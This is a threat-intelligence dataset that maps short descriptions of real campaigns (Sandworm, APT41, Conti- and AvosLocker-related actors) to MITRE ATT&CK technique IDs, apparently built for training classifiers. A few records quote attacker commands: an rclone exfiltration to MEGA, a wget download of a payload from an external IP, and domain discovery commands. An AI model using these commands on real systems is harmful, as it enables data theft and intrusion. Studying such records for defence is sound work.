sarahwei/cyber_MITRE_technique_CTI_dataset_v16 huggingface dataset:
During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry internet settings to lower internet security.
MITRE ATT&CK technique: T1562.001: Impair Defenses- Disable or Modify Tools
During the 2015 Ukraine Electric Power Attack, Sandworm Team created privileged domain accounts to be used for further exploitation and lateral movement.
MITRE ATT&CK technique: T1136.002: Create Account- Domain Account
During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a modified Dropbear SSH client as the backdoor to target systems.
MITRE ATT&CK technique: T1133: External Remote Services
During the 2015 Ukraine Electric Power Attack, vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered.
MITRE ATT&CK technique: T1070.004: Indicator Removal- File Deletion
During the 2015 Ukraine Electric Power Attack, Sandworm Team pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During the 2015 Ukraine Electric Power Attack, Sandworm Team gathered account credentials via a BlackEnergy keylogger plugin.
MITRE ATT&CK technique: T1056.001: Input Capture- Keylogging
During the 2015 Ukraine Electric Power Attack, Sandworm Team moved their tools laterally within the corporate network and between the ICS and corporate network.
MITRE ATT&CK technique: T1570: Lateral Tool Transfer
During the 2015 Ukraine Electric Power Attack, Sandworm Team leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them.
MITRE ATT&CK technique: T1204.002: User Execution- Malicious File
During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching `rundll32.exe`, which in-turn launches the malware and communicates with C2 servers over the Internet. .
MITRE ATT&CK technique: T1112: Modify Registry
During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid’s industrial control systems.
MITRE ATT&CK technique: T1040: Network Sniffing
During the 2015 Ukraine Electric Power Attack, Sandworm Team loaded BlackEnergy into svchost.exe, which then launched iexplore.exe for their C2.
MITRE ATT&CK technique: T1055: Process Injection
During the 2015 Ukraine Electric Power Attack, Sandworm Team remotely discovered systems over LAN connections. OT systems were visible from the IT network as well, giving adversaries the ability to discover operational assets.
MITRE ATT&CK technique: T1018: Remote System Discovery
During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using `rundll32.exe`.
MITRE ATT&CK technique: T1218.011: System Binary Proxy Execution- Rundll32
During the 2015 Ukraine Electric Power Attack, Sandworm Team obtained their initial foothold into many IT systems using Microsoft Office attachments delivered through phishing emails.
MITRE ATT&CK technique: T1566.001: Phishing- Spearphishing Attachment
During the 2015 Ukraine Electric Power Attack, Sandworm Team used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network.
MITRE ATT&CK technique: T1078: Valid Accounts
During the 2015 Ukraine Electric Power Attack, Sandworm Team installed a VBA script called `vba_macro.exe`. This macro dropped `FONTCACHE.DAT`, the primary BlackEnergy implant; `rundll32.exe`, for executing the malware; `NTUSER.log`, an empty file; and desktop.ini, the default file used to determine folder displays on Windows machines.
MITRE ATT&CK technique: T1059.005: Command and Scripting Interpreter- Visual Basic
During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests.
MITRE ATT&CK technique: T1071.001: Application Layer Protocol- Web Protocols
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `sp_addlinkedsrvlogin` command in MS-SQL to create a link between a created account and other servers in the network.
MITRE ATT&CK technique: T1098: Account Manipulation
During the 2016 Ukraine Electric Power Attack, Sandworm Team used a script to attempt RPC authentication against a number of hosts.
MITRE ATT&CK technique: T1110: Brute Force
During the 2016 Ukraine Electric Power Attack, Sandworm Team used a trojanized version of Windows Notepad to add a layer of persistence for Industroyer.
MITRE ATT&CK technique: T1554: Compromise Host Software Binary
During the 2016 Ukraine Electric Power Attack, Sandworm Team added a login to a SQL Server with `sp_addlinkedsrvlogin`.
MITRE ATT&CK technique: T1136: Create Account
During the 2016 Ukraine Electric Power Attack, Sandworm Team disabled event logging on compromised systems.
MITRE ATT&CK technique: T1562.002: Impair Defenses- Disable Windows Event Logging
During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” . The accounts were then assigned to a domain matching local operation and were delegated new privileges.
MITRE ATT&CK technique: T1136.002: Create Account- Domain Account
During the 2016 Ukraine Electric Power Attack, Sandworm Team used Mimikatz to capture and use legitimate credentials.
MITRE ATT&CK technique: T1003.001: OS Credential Dumping- LSASS Memory
During the 2016 Ukraine Electric Power Attack, Sandworm Team used `move` to transfer files to a network share.
MITRE ATT&CK technique: T1570: Lateral Tool Transfer
During the 2016 Ukraine Electric Power Attack, Sandworm Team created two new accounts, “admin” and “система” .
MITRE ATT&CK technique: T1036.010: Masquerading- Masquerade Account Name
During the 2016 Ukraine Electric Power Attack, Sandworm Team masqueraded executables as `.txt` files.
MITRE ATT&CK technique: T1036.008: Masquerading- Masquerade File Type
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.
MITRE ATT&CK technique: T1036.005: Masquerading- Match Legitimate Name or Location
During the 2016 Ukraine Electric Power Attack, Sandworm Team used heavily obfuscated code with Industroyer in its Windows Notepad backdoor.
MITRE ATT&CK technique: T1027: Obfuscated Files or Information
During the 2016 Ukraine Electric Power Attack, Sandworm Team used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.
MITRE ATT&CK technique: T1059.001: Command and Scripting Interpreter- PowerShell
During the 2016 Ukraine Electric Power Attack, Sandworm Team checked for connectivity to resources within the network and used LDAP to query Active Directory, discovering information about computers listed in AD.
MITRE ATT&CK technique: T1018: Remote System Discovery
During the 2016 Ukraine Electric Power Attack, Sandworm Team utilized `net use` to connect to network shares.
MITRE ATT&CK technique: T1021.002: Remote Services- SMB/Windows Admin Shares
During the 2016 Ukraine Electric Power Attack, Sandworm Team used various MS-SQL stored procedures.
MITRE ATT&CK technique: T1505.001: Server Software Component- SQL Stored Procedures
During the 2016 Ukraine Electric Power Attack, Sandworm Team used UPX to pack a copy of Mimikatz.
MITRE ATT&CK technique: T1027.002: Obfuscated Files or Information- Software Packing
During the 2016 Ukraine Electric Power Attack, Sandworm Team created VBScripts to run on an SSH server.
MITRE ATT&CK technique: T1059.005: Command and Scripting Interpreter- Visual Basic
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the `xp_cmdshell` command in MS-SQL.
MITRE ATT&CK technique: T1059.003: Command and Scripting Interpreter- Windows Command Shell
During the 2016 Ukraine Electric Power Attack, WMI in scripts were used for remote execution and system surveys.
MITRE ATT&CK technique: T1047: Windows Management Instrumentation
During the 2016 Ukraine Electric Power Attack, Sandworm Team used an arbitrary system service to load at system boot for persistence for Industroyer. They also replaced the ImagePath registry value of a Windows service with a new backdoor binary.
MITRE ATT&CK technique: T1543.003: Create or Modify System Process- Windows Service
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed CaddyWiper on the victim’s IT environment systems to wipe files related to the OT capabilities, along with mapped drives, and physical drive partitions.
MITRE ATT&CK technique: T1485: Data Destruction
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Group Policy Objects to deploy and execute malware.
MITRE ATT&CK technique: T1484.001: Domain or Tenant Policy Modification- Group Policy Modification
During the 2022 Ukraine Electric Power Attack, Sandworm Team used a Group Policy Object to copy CaddyWiper's executable `msserver.exe` from a staging server to a local hard drive before deployment.
MITRE ATT&CK technique: T1570: Lateral Tool Transfer
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Systemd service units to masquerade GOGETTER malware as legitimate or seemingly legitimate services.
MITRE ATT&CK technique: T1036.004: Masquerading- Masquerade Task or Service
During the 2022 Ukraine Electric Power Attack, Sandworm Team proxied C2 communications within a TLS-based tunnel.
MITRE ATT&CK technique: T1095: Non-Application Layer Protocol
During the 2022 Ukraine Electric Power Attack, Sandworm Team utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.
MITRE ATT&CK technique: T1059.001: Command and Scripting Interpreter- PowerShell
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the GOGETTER tunneler software to establish a “Yamux” TLS-based C2 channel with an external server.
MITRE ATT&CK technique: T1572: Protocol Tunneling
During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object to execute CaddyWiper at a predetermined time.
MITRE ATT&CK technique: T1053.005: Scheduled Task/Job- Scheduled Task
During the 2022 Ukraine Electric Power Attack, Sandworm Team configured Systemd to maintain persistence of GOGETTER, specifying the `WantedBy=multi-user.target` configuration to run GOGETTER when the system begins accepting user logins.
MITRE ATT&CK technique: T1543.002: Create or Modify System Process- Systemd Service
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the Neo-REGEORG webshell on an internet-facing server.
MITRE ATT&CK technique: T1505.003: Server Software Component- Web Shell
APT41 DUST used `rar` to compress data downloaded from internal Oracle databases prior to exfiltration.
MITRE ATT&CK technique: T1560.001: Archive Collected Data- Archive via Utility
APT41 DUST used HTTPS for command and control.
MITRE ATT&CK technique: T1573.002: Encrypted Channel- Asymmetric Cryptography
APT41 DUST used tools such as SQLULDR2 and PINEGROVE to gather local system and database information.
MITRE ATT&CK technique: T1119: Automated Collection
APT41 DUST used compromised Google Workspace accounts for command and control.
MITRE ATT&CK technique: T1586.003: Compromise Accounts- Cloud Accounts
APT41 DUST used stolen code signing certificates for DUSTTRAP malware and subsequent payloads.
MITRE ATT&CK technique: T1553.002: Subvert Trust Controls- Code Signing
APT41 DUST used stolen code signing certificates to sign DUSTTRAP malware and components.
MITRE ATT&CK technique: T1588.003: Obtain Capabilities- Code Signing Certificates
APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP.
MITRE ATT&CK technique: T1574.001: Hijack Execution Flow- DLL Search Order Hijacking
APT41 DUST used DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller.
MITRE ATT&CK technique: T1574.002: Hijack Execution Flow- DLL Side-Loading
APT41 DUST collected data from victim Oracle databases using SQLULDR2.
MITRE ATT&CK technique: T1213: Data from Information Repositories
APT41 DUST used encrypted payloads decrypted and executed in memory.
MITRE ATT&CK technique: T1027.013: Obfuscated Files or Information- Encrypted/Encoded File
APT41 DUST exfiltrated collected information to OneDrive.
MITRE ATT&CK technique: T1567.002: Exfiltration Over Web Service- Exfiltration to Cloud Storage
APT41 DUST deleted various artifacts from victim systems following use.
MITRE ATT&CK technique: T1070.004: Indicator Removal- File Deletion
APT41 DUST involved execution of `certutil.exe` via web shell to download the DUSTPAN dropper.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.
MITRE ATT&CK technique: T1074.001: Data Staged- Local Data Staging
APT41 DUST disguised DUSTPAN as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.
MITRE ATT&CK technique: T1036.004: Masquerading- Masquerade Task or Service
APT41 DUST used internet scan data for target development.
MITRE ATT&CK technique: T1596.005: Search Open Technical Databases- Scan Databases
APT41 DUST involved use of search engines to research victim servers.
MITRE ATT&CK technique: T1593.002: Search Open Websites/Domains- Search Engines
APT41 DUST involved access of external victim websites for target development.
MITRE ATT&CK technique: T1594: Search Victim-Owned Websites
APT41 DUST used infrastructure hosted behind Cloudflare or utilized Cloudflare Workers for command and control.
MITRE ATT&CK technique: T1583.007: Acquire Infrastructure- Serverless
APT41 DUST used Windows services to execute DUSTPAN.
MITRE ATT&CK technique: T1569.002: System Services- Service Execution
APT41 DUST used HTTPS for command and control.
MITRE ATT&CK technique: T1071.001: Application Layer Protocol- Web Protocols
APT41 DUST used compromised Google Workspace accounts for command and control.
MITRE ATT&CK technique: T1102: Web Service
APT41 DUST involved use of web shells such as ANTSWORD and BLUEBEAM for persistence.
MITRE ATT&CK technique: T1505.003: Server Software Component- Web Shell
APT41 DUST used Windows Services with names such as `Windows Defend` for persistence of DUSTPAN.
MITRE ATT&CK technique: T1543.003: Create or Modify System Process- Windows Service
For C0010, UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer.
MITRE ATT&CK technique: T1583.001: Acquire Infrastructure- Domains
During C0010, UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.
MITRE ATT&CK technique: T1584.001: Compromise Infrastructure- Domains
During C0010, UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.
MITRE ATT&CK technique: T1189: Drive-by Compromise
For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.
MITRE ATT&CK technique: T1608.004: Stage Capabilities- Drive-by Target
During C0010, UNC3890 actors downloaded tools and malware onto a compromised host.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
For C0010, UNC3890 actors used unique malware, including SUGARUSH and SUGARDUMP.
MITRE ATT&CK technique: T1587.001: Develop Capabilities- Malware
For C0010, UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
For C0010, UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system.
MITRE ATT&CK technique: T1608.001: Stage Capabilities- Upload Malware
For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.
MITRE ATT&CK technique: T1608.002: Stage Capabilities- Upload Tool
For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered.
MITRE ATT&CK technique: T1587.003: Develop Capabilities- Digital Certificates
For C0011, Transparent Tribe registered domains likely designed to appear relevant to student targets in India.
MITRE ATT&CK technique: T1583.001: Acquire Infrastructure- Domains
During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email.
MITRE ATT&CK technique: T1204.002: User Execution- Malicious File
During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email.
MITRE ATT&CK technique: T1204.001: User Execution- Malicious Link
During C0011, Transparent Tribe sent malicious attachments via email to student targets in India.
MITRE ATT&CK technique: T1566.001: Phishing- Spearphishing Attachment
During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.
MITRE ATT&CK technique: T1566.002: Phishing- Spearphishing Link
For C0011, Transparent Tribe hosted malicious documents on domains registered by the group.
MITRE ATT&CK technique: T1608.001: Stage Capabilities- Upload Malware
For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host.
MITRE ATT&CK technique: T1059.005: Command and Scripting Interpreter- Visual Basic
For C0015, the threat actors used DLL files that had invalid certificates.
MITRE ATT&CK technique: T1553.002: Subvert Trust Controls- Code Signing
During C0015, the threat actors used Conti ransomware to encrypt a compromised network.
MITRE ATT&CK technique: T1486: Data Encrypted for Impact
During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.
MITRE ATT&CK technique: T1030: Data Transfer Size Limits
During C0015, the threat actors obtained files and data from the compromised network.
MITRE ATT&CK technique: T1005: Data from Local System
During C0015, the threat actors collected files from network shared drives prior to network encryption.
MITRE ATT&CK technique: T1039: Data from Network Shared Drive
During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups.
MITRE ATT&CK technique: T1069.002: Permission Groups Discovery- Domain Groups
During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.
MITRE ATT&CK technique: T1482: Domain Trust Discovery
During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.
MITRE ATT&CK technique: T1055.001: Process Injection- Dynamic-link Library Injection
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.
MITRE ATT&CK technique: T1567.002: Exfiltration Over Web Service- Exfiltration to Cloud Storage
During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.
MITRE ATT&CK technique: T1083: File and Directory Discovery
During C0015, the threat actors downloaded additional tools and files onto a compromised network.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.
MITRE ATT&CK technique: T1059.007: Command and Scripting Interpreter- JavaScript
During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.
MITRE ATT&CK technique: T1570: Lateral Tool Transfer
During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.
MITRE ATT&CK technique: T1074.001: Data Staged- Local Data Staging
During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.
MITRE ATT&CK technique: T1069.001: Permission Groups Discovery- Local Groups
During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.
MITRE ATT&CK technique: T1204.002: User Execution- Malicious File
For C0015, the threat actors used Cobalt Strike and Conti ransomware.
MITRE ATT&CK technique: T1588.001: Obtain Capabilities- Malware
During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.
MITRE ATT&CK technique: T1036: Masquerading
During C0015, the threat actors used `mshta` to execute DLLs.
MITRE ATT&CK technique: T1218.005: System Binary Proxy Execution- Mshta
During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.
MITRE ATT&CK technique: T1135: Network Share Discovery
During C0015, the threat actors used Base64-encoded strings.
MITRE ATT&CK technique: T1027: Obfuscated Files or Information
During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.
MITRE ATT&CK technique: T1057: Process Discovery
During C0015, the threat actors employed code that used `regsvr32` for execution.
MITRE ATT&CK technique: T1218.010: System Binary Proxy Execution- Regsvr32
During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.
MITRE ATT&CK technique: T1219: Remote Access Software
During C0015, the threat actors used RDP to access specific network hosts of interest.
MITRE ATT&CK technique: T1021.001: Remote Services- Remote Desktop Protocol
During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.
MITRE ATT&CK technique: T1018: Remote System Discovery
During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.
MITRE ATT&CK technique: T1218.011: System Binary Proxy Execution- Rundll32
For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.
MITRE ATT&CK technique: T1566.001: Phishing- Spearphishing Attachment
During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.
MITRE ATT&CK technique: T1016: System Network Configuration Discovery
During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.
MITRE ATT&CK technique: T1124: System Time Discovery
For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.
MITRE ATT&CK technique: T1059.005: Command and Scripting Interpreter- Visual Basic
During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.
MITRE ATT&CK technique: T1059.003: Command and Scripting Interpreter- Windows Command Shell
During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.
MITRE ATT&CK technique: T1047: Windows Management Instrumentation
During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.
MITRE ATT&CK technique: T1134: Access Token Manipulation
During C0017, APT41 hex-encoded PII data prior to exfiltration.
MITRE ATT&CK technique: T1560.003: Archive Collected Data- Archive via Custom Method
During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information from victim networks.
MITRE ATT&CK technique: T1005: Data from Local System
During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.
MITRE ATT&CK technique: T1102.001: Web Service- Dead Drop Resolver
During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.
MITRE ATT&CK technique: T1140: Deobfuscate/Decode Files or Information
During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.
MITRE ATT&CK technique: T1041: Exfiltration Over C2 Channel
During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.
MITRE ATT&CK technique: T1048.003: Exfiltration Over Alternative Protocol- Exfiltration Over Unencrypted Non-C2 Protocol
During C0017, APT41 used Cloudflare services for data exfiltration.
MITRE ATT&CK technique: T1567: Exfiltration Over Web Service
During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.
MITRE ATT&CK technique: T1190: Exploit Public-Facing Application
During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table within legitimate Microsoft binaries.
MITRE ATT&CK technique: T1574: Hijack Execution Flow
During C0017, APT41 downloaded malicious payloads onto compromised systems.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During C0017, APT41 deployed JScript web shells on compromised systems.
MITRE ATT&CK technique: T1059.007: Command and Scripting Interpreter- JavaScript
During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.
MITRE ATT&CK technique: T1074.001: Data Staged- Local Data Staging
During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.
MITRE ATT&CK technique: T1036.004: Masquerading- Masquerade Task or Service
During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.
MITRE ATT&CK technique: T1036.005: Masquerading- Match Legitimate Name or Location
During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.
MITRE ATT&CK technique: T1027: Obfuscated Files or Information
During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.
MITRE ATT&CK technique: T1001.003: Data Obfuscation- Protocol or Service Impersonation
During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.
MITRE ATT&CK technique: T1090: Proxy
During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.
MITRE ATT&CK technique: T1053.005: Scheduled Task/Job- Scheduled Task
During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.
MITRE ATT&CK technique: T1003.002: OS Credential Dumping- Security Account Manager
During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.
MITRE ATT&CK technique: T1027.002: Obfuscated Files or Information- Software Packing
During C0017, APT41 issued `ping -n 1 .split-1+` commands to find the volume serial number of compromised systems.
MITRE ATT&CK technique: T1082: System Information Discovery
During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.
MITRE ATT&CK technique: T1016: System Network Configuration Discovery
During C0017, APT41 used `whoami` to gather information from victim machines.
MITRE ATT&CK technique: T1033: System Owner/User Discovery
For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During C0017, APT41 ran `wget http://103.224.80.44:8080/kernel` to download malicious payloads.
MITRE ATT&CK technique: T1071.001: Application Layer Protocol- Web Protocols
During C0017, APT41 used the Cloudflare services for C2 communications.
MITRE ATT&CK technique: T1102: Web Service
During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.
MITRE ATT&CK technique: T1505.003: Server Software Component- Web Shell
During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.
MITRE ATT&CK technique: T1059.003: Command and Scripting Interpreter- Windows Command Shell
During C0018, the threat actors used Base64 to encode their PowerShell scripts.
MITRE ATT&CK technique: T1027.010: Obfuscated Files or Information- Command Obfuscation
During C0018, the threat actors used AvosLocker ransomware to encrypt files on the compromised network.
MITRE ATT&CK technique: T1486: Data Encrypted for Impact
During C0018, the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.
MITRE ATT&CK technique: T1190: Exploit Public-Facing Application
During C0018, the threat actors downloaded additional tools, such as Mimikatz and Sliver, as well as Cobalt Strike and AvosLocker ransomware onto the victim network.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During C0018, the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy.
MITRE ATT&CK technique: T1570: Lateral Tool Transfer
During C0018, AvosLocker was disguised using the victim company name as the filename.
MITRE ATT&CK technique: T1036: Masquerading
For C0018, the threat actors renamed a Sliver payload to `vmware_kb.exe`.
MITRE ATT&CK technique: T1036.005: Masquerading- Match Legitimate Name or Location
During C0018, the threat actors used the SoftPerfect Network Scanner for network scanning.
MITRE ATT&CK technique: T1046: Network Service Discovery
During C0018, the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections.
MITRE ATT&CK technique: T1571: Non-Standard Port
During C0018, the threat actors used encoded PowerShell scripts for execution.
MITRE ATT&CK technique: T1059.001: Command and Scripting Interpreter- PowerShell
During C0018, the threat actors used AnyDesk to transfer tools between systems.
MITRE ATT&CK technique: T1219: Remote Access Software
During C0018, the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892.
MITRE ATT&CK technique: T1021.001: Remote Services- Remote Desktop Protocol
During C0018, the threat actors used `rundll32` to run Mimikatz.
MITRE ATT&CK technique: T1218.011: System Binary Proxy Execution- Rundll32
During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network.
MITRE ATT&CK technique: T1072: Software Deployment Tools
During C0018, the threat actors ran `nslookup` and Advanced IP Scanner on the target network.
MITRE ATT&CK technique: T1016: System Network Configuration Discovery
During C0018, the threat actors collected `whoami` information via PowerShell scripts.
MITRE ATT&CK technique: T1033: System Owner/User Discovery
For C0018, the threat actors acquired a variety of open source tools, including Mimikatz, Sliver, SoftPerfect Network Scanner, AnyDesk, and PDQ Deploy.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During C0018, the threat actors used HTTP for C2 communications.
MITRE ATT&CK technique: T1071.001: Application Layer Protocol- Web Protocols
During C0018, the threat actors used WMIC to modify administrative settings on both a local and a remote host, likely as part of the first stages for their lateral movement; they also used WMI Provider Host to execute a variety of encoded PowerShell scripts using the `DownloadString` method.
MITRE ATT&CK technique: T1047: Windows Management Instrumentation
During C0021, the threat actors used SSL via TCP port 443 for C2 communications.
MITRE ATT&CK technique: T1573.002: Encrypted Channel- Asymmetric Cryptography
During C0021, the threat actors used encoded PowerShell commands.
MITRE ATT&CK technique: T1027.010: Obfuscated Files or Information- Command Obfuscation
During C0021, the threat actors deobfuscated encoded PowerShell commands including use of the specific string `'FromBase'+0x40+'String'`, in place of `FromBase64String` which is normally used to decode base64.
MITRE ATT&CK technique: T1140: Deobfuscate/Decode Files or Information
For C0021, the threat actors registered domains for use in C2.
MITRE ATT&CK technique: T1583.001: Acquire Infrastructure- Domains
For C0021, the threat actors used legitimate but compromised domains to host malicious payloads.
MITRE ATT&CK technique: T1584.001: Compromise Infrastructure- Domains
For C0021, the threat actors embedded a base64-encoded payload within a LNK file.
MITRE ATT&CK technique: T1027.009: Obfuscated Files or Information- Embedded Payloads
During C0021, the threat actors downloaded additional tools and files onto victim machines.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During C0021, the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.
MITRE ATT&CK technique: T1204.001: User Execution- Malicious Link
During C0021, the threat actors used TCP for some C2 communications.
MITRE ATT&CK technique: T1095: Non-Application Layer Protocol
During C0021, the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.
MITRE ATT&CK technique: T1059.001: Command and Scripting Interpreter- PowerShell
During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL.
MITRE ATT&CK technique: T1218.011: System Binary Proxy Execution- Rundll32
During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.
MITRE ATT&CK technique: T1566.002: Phishing- Spearphishing Link
For C0021, the threat actors used Cobalt Strike configured with a modified variation of the publicly available Pandora Malleable C2 Profile.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
For C0021, the threat actors uploaded malware to websites under their control.
MITRE ATT&CK technique: T1608.001: Stage Capabilities- Upload Malware
During C0021, the threat actors used HTTP for some of their C2 communications.
MITRE ATT&CK technique: T1071.001: Application Layer Protocol- Web Protocols
During C0026, the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021.
MITRE ATT&CK technique: T1560.001: Archive Collected Data- Archive via Utility
During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.
MITRE ATT&CK technique: T1030: Data Transfer Size Limits
During C0026, the threat actors collected documents from compromised hosts.
MITRE ATT&CK technique: T1005: Data from Local System
For C0026, the threat actors re-registered expired C2 domains previously used for ANDROMEDA malware.
MITRE ATT&CK technique: T1583.001: Acquire Infrastructure- Domains
During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA.
MITRE ATT&CK technique: T1568: Dynamic Resolution
During C0026, the threat actors downloaded malicious payloads onto select compromised hosts.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
